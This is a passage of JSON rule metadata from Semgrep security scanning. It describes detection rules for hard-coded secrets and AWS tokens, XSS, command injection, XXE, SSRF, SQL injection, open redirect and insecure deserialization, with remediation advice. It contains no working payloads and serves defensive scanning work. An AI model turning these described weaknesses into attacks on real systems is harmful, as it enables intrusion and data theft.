leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.mongo.java-mongo-hardcoded-secret.java-mongo-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.mongo.java-mongo-hardcoded-secret.java-mongo-hardcoded-secret","id":"java.mongo.java-mongo-hardcoded-secret.java-mongo-hardcoded-secret","name":"java.mongo.java-mongo-hardcoded-secret.java-mongo-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.mongo.java-mongo-hardcoded-secret.java-mongo-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found a formatted template string passed to 'template.HTML()'. 'template.HTML()' does not escape contents. Be absolutely sure there is no user-controlled data in this template. If user data can reach this template, you may have a XSS vulnerability."},"help":{"markdown":"Found a formatted template string passed to 'template.HTML()'. 'template.HTML()' does not escape contents. Be absolutely sure there is no user-controlled data in this template. If user data can reach this template, you may have a XSS vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.formatted-template-string.formatted-template-string)\n - [https://golang.org/pkg/html/template/#HTML](https://golang.org/pkg/html/template/#HTML)\n","text":"Found a formatted template string passed to 'template.HTML()'. 'template.HTML()' does not escape contents. Be absolutely sure there is no user-controlled data in this template. If user data can reach this template, you may have a XSS vulnerability."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.formatted-template-string.formatted-template-string","id":"go.lang.security.audit.net.formatted-template-string.formatted-template-string","name":"go.lang.security.audit.net.formatted-template-string.formatted-template-string","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.formatted-template-string.formatted-template-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.os.tainted-os-command-stdlib-secure-if-array.tainted-os-command-stdlib-secure-if-array)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.lang.os.tainted-os-command-stdlib-secure-if-array.tainted-os-command-stdlib-secure-if-array","id":"python.lang.os.tainted-os-command-stdlib-secure-if-array.tainted-os-command-stdlib-secure-if-array","name":"python.lang.os.tainted-os-command-stdlib-secure-if-array.tainted-os-command-stdlib-secure-if-array","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.os.tainted-os-command-stdlib-secure-if-array.tainted-os-command-stdlib-secure-if-array"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks through parameter entities by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks through parameter entities by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks through parameter entities by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities","id":"java.lang.security.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities","name":"java.lang.security.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"AWS Session Token detected"},"help":{"markdown":"AWS Session Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-aws-session-token.detected-aws-session-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"AWS Session Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-aws-session-token.detected-aws-session-token","id":"generic.secrets.security.detected-aws-session-token.detected-aws-session-token","name":"generic.secrets.security.detected-aws-session-token.detected-aws-session-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-aws-session-token.detected-aws-session-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"IDEA (International Data Encryption Algorithm) is a block cipher created in 1991.  It is an optional component of the OpenPGP standard. This cipher is susceptible to attacks when using weak keys.  It is recommended that you do not use this cipher for new applications. Use a strong symmetric cipher such as EAS instead. With the `cryptography` package it is recommended to use `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead."},"help":{"markdown":"IDEA (International Data Encryption Algorithm) is a block cipher created in 1991.  It is an optional component of the OpenPGP standard. This cipher is susceptible to attacks when using weak keys.  It is recommended that you do not use this cipher for new applications. Use a strong symmetric cipher such as EAS instead. With the `cryptography` package it is recommended to use `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insecure-cipher-algorithms.insecure-cipher-algorithm-idea)\n - [https://tools.ietf.org/html/rfc5469](https://tools.ietf.org/html/rfc5469)\n - [https://cryptography.io/en/latest/hazmat/primitives/symmetric-encryption/#cryptography.hazmat.primitives.ciphers.algorithms.IDEA](https://cryptography.io/en/latest/hazmat/primitives/symmetric-encryption/#cryptography.hazmat.primitives.ciphers.algorithms.IDEA)\n","text":"IDEA (International Data Encryption Algorithm) is a block cipher created in 1991.  It is an optional component of the OpenPGP standard. This cipher is susceptible to attacks when using weak keys.  It is recommended that you do not use this cipher for new applications. Use a strong symmetric cipher such as EAS instead. With the `cryptography` package it is recommended to use `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insecure-cipher-algorithms.insecure-cipher-algorithm-idea","id":"python.cryptography.security.insecure-cipher-algorithms.insecure-cipher-algorithm-idea","name":"python.cryptography.security.insecure-cipher-algorithms.insecure-cipher-algorithm-idea","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insecure-cipher-algorithms.insecure-cipher-algorithm-idea"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-httponly-missing.flask-cookie-httponly-missing)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-httponly-missing.flask-cookie-httponly-missing","id":"python.flask.web.flask-cookie-httponly-missing.flask-cookie-httponly-missing","name":"python.flask.web.flask-cookie-httponly-missing.flask-cookie-httponly-missing","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-httponly-missing.flask-cookie-httponly-missing"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.mysql.mysql-empty-password.mysql-empty-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.mysql.mysql-empty-password.mysql-empty-password","id":"go.secrets.mysql.mysql-empty-password.mysql-empty-password","name":"go.secrets.mysql.mysql-empty-password.mysql-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.mysql.mysql-empty-password.mysql-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"This expression points to memory that has been freed. This can lead to a segmentation fault or memory corruption."},"help":{"markdown":"This expression points to memory that has been freed. This can lead to a segmentation fault or memory corruption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.use-after-free.local-variable-new-delete.local-variable-new-delete)\n - [https://wiki.sei.cmu.edu/confluence/display/c/MEM30-C.+Do+not+access+freed+memory](https://wiki.sei.cmu.edu/confluence/display/c/MEM30-C.+Do+not+access+freed+memory)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime](https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime)\n","text":"This expression points to memory that has been freed. This can lead to a segmentation fault or memory corruption."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.use-after-free.local-variable-new-delete.local-variable-new-delete","id":"cpp.lang.security.use-after-free.local-variable-new-delete.local-variable-new-delete","name":"cpp.lang.security.use-after-free.local-variable-new-delete.local-variable-new-delete","properties":{"precision":"very-high","tags":["CWE-416: Use After Free","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.use-after-free.local-variable-new-delete.local-variable-new-delete"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`$POLICY` is missing a `condition` block which scopes users of this policy to specific GitHub repositories. Without this, `$POLICY` is open to all users on GitHub. Add a `condition` block on the variable `token.actions.githubusercontent.com:sub` which scopes it to prevent this."},"help":{"markdown":"`$POLICY` is missing a `condition` block which scopes users of this policy to specific GitHub repositories. Without this, `$POLICY` is open to all users on GitHub. Add a `condition` block on the variable `token.actions.githubusercontent.com:sub` which scopes it to prevent this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.unrestricted-github-oidc-policy.unrestricted-github-oidc-policy)\n - [https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services#configuring-the-role-and-trust-policy](https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services#configuring-the-role-and-trust-policy)\n - [https://dagrz.com/writing/aws-security/hacking-github-aws-oidc/](https://dagrz.com/writing/aws-security/hacking-github-aws-oidc/)\n","text":"`$POLICY` is missing a `condition` block which scopes users of this policy to specific GitHub repositories. Without this, `$POLICY` is open to all users on GitHub. Add a `condition` block on the variable `token.actions.githubusercontent.com:sub` which scopes it to prevent this."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.unrestricted-github-oidc-policy.unrestricted-github-oidc-policy","id":"terraform.aws.security.unrestricted-github-oidc-policy.unrestricted-github-oidc-policy","name":"terraform.aws.security.unrestricted-github-oidc-policy.unrestricted-github-oidc-policy","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.unrestricted-github-oidc-policy.unrestricted-github-oidc-policy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"help":{"markdown":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.open-redirect-pathname.open-redirect-pathname)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n","text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"helpUri":"https://semgrep.dev/r/javascript.browser.open-redirect-pathname.open-redirect-pathname","id":"javascript.browser.open-redirect-pathname.open-redirect-pathname","name":"javascript.browser.open-redirect-pathname.open-redirect-pathname","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.open-redirect-pathname.open-redirect-pathname"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A parameter being passed directly into `url` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"help":{"markdown":"A parameter being passed directly into `url` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.dispatch-ssrf.dispatch-ssrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://dispatchhttp.org/Dispatch.html](https://dispatchhttp.org/Dispatch.html)\n","text":"A parameter being passed directly into `url` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.dispatch-ssrf.dispatch-ssrf","id":"scala.lang.security.audit.dispatch-ssrf.dispatch-ssrf","name":"scala.lang.security.audit.dispatch-ssrf.dispatch-ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.dispatch-ssrf.dispatch-ssrf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.aws-lambda.security.tainted-sql-string.tainted-sql-string)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"helpUri":"https://semgrep.dev/r/java.aws-lambda.security.tainted-sql-string.tainted-sql-string","id":"java.aws-lambda.security.tainted-sql-string.tainted-sql-string","name":"java.aws-lambda.security.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.aws-lambda.security.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"help":{"markdown":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.debug.debug-flask-passthrough-errors.debug-flask-passthrough-errors)\n - [https://flask.palletsprojects.com/en/3.0.x/debugging/](https://flask.palletsprojects.com/en/3.0.x/debugging/)\n","text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"helpUri":"https://semgrep.dev/r/python.flask.debug.debug-flask-passthrough-errors.debug-flask-passthrough-errors","id":"python.flask.debug.debug-flask-passthrough-errors.debug-flask-passthrough-errors","name":"python.flask.debug.debug-flask-passthrough-errors.debug-flask-passthrough-errors","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.debug.debug-flask-passthrough-errors.debug-flask-passthrough-errors"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Avoid using insecure deserialization library, backed by `pickle`, `_pickle`, `cpickle`, `dill`, `shelve`, or `yaml`, which are known to lead to remote code execution vulnerabilities."},"help":{"markdown":"Avoid using insecure deserialization library, backed by `pickle`, `_pickle`, `cpickle`, `dill`, `shelve`, or `yaml`, which are known to lead to remote code execution vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.avoid-insecure-deserialization.avoid-insecure-deserialization)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n","text":"Avoid using insecure deserialization library, backed by `pickle`, `_pickle`, `cpickle`, `dill`, `shelve`, or `yaml`, which are known to lead to remote code execution vulnerabilities."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.avoid-insecure-deserialization.avoid-insecure-deserialization","id":"python.django.security.audit.avoid-insecure-deserialization.avoid-insecure-deserialization","name":"python.django.security.audit.avoid-insecure-deserialization.avoid-insecure-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.avoid-insecure-deserialization.avoid-insecure-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-ssrf.tainted-ssrf)\n - 